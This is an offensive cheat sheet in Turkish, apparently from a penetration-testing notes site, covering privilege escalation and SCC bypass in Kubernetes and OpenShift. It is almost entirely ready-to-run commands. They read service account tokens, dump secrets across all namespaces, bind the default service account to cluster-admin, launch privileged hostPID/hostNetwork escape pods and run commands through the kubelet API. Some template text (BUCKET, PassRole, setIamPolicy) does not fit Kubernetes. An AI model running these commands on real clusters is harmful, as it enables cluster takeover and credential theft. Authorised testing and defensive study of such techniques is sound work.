OpenShift - SCC bypass
K8s privesc
OpenShift - SCC bypass — Kubernetes / OpenShift ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
kubectl config current-contextkubectl auth can-i --listcat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40Hedef komutlar
Section titled “Hedef komutlar”OpenShift - SCC bypass için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurationskubectl get networkpolicies -Akubectl get scc 2>/dev/null || oc get scckubectl auth can-i --listkubectl auth can-i create pods --all-namespaceskubectl auth can-i get secrets --all-namespaceskubectl auth can-i create clusterrolebindingkubectl get nskubectl get pods,sa,secrets,roles,rolebindings -Akubectl get clusterroles,clusterrolebindingskubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'cat /var/run/secrets/kubernetes.io/serviceaccount/tokenTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}Yükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:defaultkubectl patch serviceaccount default -p '{"automountServiceAccountToken":true}'kubectl apply -f - <<'EOF'apiVersion: v1kind: Podmetadata: name: escapespec: hostNetwork: true hostPID: true containers: - name: c image: alpine securityContext: privileged: true command: ["sleep","3600"]EOFSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txtEk komutlar
Section titled “Ek komutlar”curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaceskubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -ukubectl create -f evil-pod.yamlkubectl exec -it POD -n NS -- /bin/shkubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'curl -k https://$NODE:10250/runningpods/curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'